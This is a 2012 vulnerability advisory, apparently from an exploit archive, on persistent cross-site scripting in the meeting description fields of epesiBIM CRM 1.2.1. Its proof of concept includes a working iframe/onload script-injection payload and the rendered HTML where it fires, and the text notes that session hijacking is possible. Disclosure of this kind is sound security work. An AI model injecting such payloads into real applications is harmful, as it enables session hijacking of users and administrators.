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GroupWare epesiBIM CRM 1.2.1 Cross Site Scripting

GroupWare epesiBIM CRM 1.2.1 Cross Site Scripting
Posted Apr 11, 2012
Authored by Chokri Ben Achor, Vulnerability Laboratory | Site vulnerability-lab.com

GroupWare epesiBIM CRM version 1.2.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | c8547aac5f5cba34e71dc25c9a17b80bad80d40910df5ab397eefbfb9b3d332a

GroupWare epesiBIM CRM 1.2.1 Cross Site Scripting

Change Mirror Download
GroupWare epesiBIM CRM 1.2.1 - Multiple Web Vulnerabilities




epesi BIM stands for Business Information Manager. We just did not like the name CRM
(Customer Relationship Management), because with epesi you can manage not only customer\\\\\\\\\\\\\\\'s data,
but also internal business records like employees, inventory, etc.
epesi BIM has modular design. Some modules provide basic, low-level functions like user authentication
(login), managing sessions, database connectivity, data entry verification etc. Think of modules as
building blocks - you can stack them - one on top of another - to create different shapes. The same
way with epesi framework and included modules you can create web application with different functionality:
CRM, SFA, ERP or SCM. In fact we created already:

- CRM package (inlcuded in the FREE version)
- Warehouse Management System
- Custom Sales and Commision Reporting tool
- Complete inventory management system integrated with e-commerce
- School Register with student and courses management
- and many more custom solutions

(Copy of the Vendor Homepage: http://www.epesibim.com )

The Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities on GroupWare`s epesiBIM CRM v1.2.1.

2012-04-10: Public or Non-Public Disclosure




Multiple persistent input validation vulnerabilities are detected on GroupWares epesiBIM 1.2.1 web application.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action. The bug is located on the Description input
field of the application which allows to execute code out of the main application dashboard context.

Vulnerable Module(s):
[+] Meeting Description Input Fields
[-] Agenda Display Dashboard - Title of Description
[-] Calender Content Display - Title of Description


Proof of Concept:
The vulnerability can be exploited by remote attacker or local low privileged user accounts with low required
user inter action. For demonstration or reproduce ...

Review: Agenda Display Dashboard - Title from Description

<tr class="CRM_Calendar_applet__today">
<td onmouseover="if(typeof(table_overflow_show)!='undefined')
table_overflow_show(this);" class="Utils_GenericBrowser__td " nowrap="nowrap">​​​​​Today, 06:20</td>
onmouseover="if(typeof(table_overflow_show)!='undefined')table_overflow_show(this);" class="Utils_
GenericBrowser__td ">​​​​​<a href="javascript:void(0)" onclick="_chj('__jump_to_RB_table=crm_meeting&__
jump_to_RB_record=22&__jump_to_RB_action=view&day=2012-04-09', '', '');"><span onmousemove="if
(typeof(Utils_Tooltip__showTip)!='undefined')Utils_Tooltip__showTip(this,event,300)" tip="<center>
<b>Meeting</b></center><br><TABLE WIDTH="280" cellpadding="2"
><TR><TD WIDTH="90"><STRONG>Date</STRONG></TD><TD bgcolor=
"white" style="word-wrap: break-word;"><b>Mon - 09 Apr 2012</b></TD
></TR><TR><TD WIDTH="90"><STRONG>Time</STRONG></TD><
TD bgcolor="white" style="word-wrap: break-word;">06:20 - 07:20</TD></TR&
gt;<TR><TD WIDTH="90"><STRONG>Duration</STRONG></TD><TD bgcolor
="white" style="word-wrap: break-word;">1 hour(s) </TD></TR><TR><TD WIDTH="90"><STRONG>Event</STRONG></TD><TD bgcolor="white" style=
"word-wrap: break-word;"><b>"
lt;iframe src=a onload=alert("Vunerabilitylab") <</b></TD></TR><TR><TD WIDTH="90"><STRONG>Description&
lt;/STRONG></TD><TD bgcolor="white" style="word-wrap: break-word;">"
><iframe src=a onload=alert("VL") <</TD></TR><TR><TD WIDTH="90&
quot;><STRONG>Assigned to</STRONG></TD><TD bgcolor="white" style="
word-wrap: break-word;">Doe Jane<br>Smith John</TD></TR><TR><TD WIDTH="90"><STRONG>Contacts</STRONG></TD><TD bgcolor="white" style
="word-wrap: break-word;"></TD></TR><TR><TD WIDTH="90"><
STRONG>Status</STRONG></TD><TD bgcolor="white" style="word-wrap: break-word;
">Open</TD></TR><TR><TD WIDTH="90"><STRONG>Access</STRONG>
</TD><TD bgcolor="white" style="word-wrap: break-word;">Public</TD></TR
><TR><TD WIDTH="90"><STRONG>Priority</STRONG></TD><TD bgcolor=
"white" style="word-wrap: break-word;">Low</TD></TR><TR><TD WIDTH="90"><STRONG>Notes</STRONG></TD><TD bgcolor="white" style=
"word-wrap: break-word;">1</TD></TR></TABLE><hr><TABLE WIDTH="280
" cellpadding="2"><TR><TD WIDTH="90"><STRONG>Created by:</STRONG
></TD><TD bgcolor="white" style="word-wrap: break-word;">Doe Jane</TD><
/TR><TR><TD WIDTH="90"><STRONG>Created on:</STRONG></TD><TD bgcolor=
"white" style="word-wrap: break-word;">09 Apr 2012 06:21:29</TD></TR></TABLE
>" onmouseout="if(typeof(Utils_Tooltip__hideTip)!='undefined')Utils_Tooltip__hideTip()" onmouseup="if(typeof
(Utils_Tooltip__hideTip)!='undefined')Utils_Tooltip__hideTip()">"><iframe src=a onload=alert("Vunerabilitylab") <</span></a></td>

Review: Display Calender Description

<td onmouseover="if(typeof(table_overflow_show)!='undefined')table_overflow_show(this);" class="Utils_GenericBrowser__td ">
<a href="javascript:void(0)" onclick="_chj('__jump_to_RB_table=crm_meeting&__jump_to_RB_record=22&__
jump_to_RB_action=view&day=2012-04-09', '', '');">"><iframe src=a onload=alert("Vunerabilitylab") <</a></td>
<td onmouseover="if(typeof(table_overflow_show)!='undefined')table_overflow_show(this);" class="Utils_GenericBrowser__td
" nowrap="nowrap">Meeting</td>
<td onmouseover="if(typeof(table_overflow_show)!='undefined')table_overflow_show(this);" class="Utils_GenericBrowser__td ">
"><iframe src="a" onload='alert("Vunerabilitylab")' <<="" td="">

... or

<div id="table_overflow_content" class="Utils_GenericBrowser__overflow_div_content">
"><iframe src="a" onload='alert("Vunerabilitylab")' <<="" td="">

The security risk of the persistent vulnerability is estimated as meidum(+).

Vulnerability Research Laboratory Team - Chokri B.A. (Me!ster)

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2012 Vulnerability-Lab

Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com

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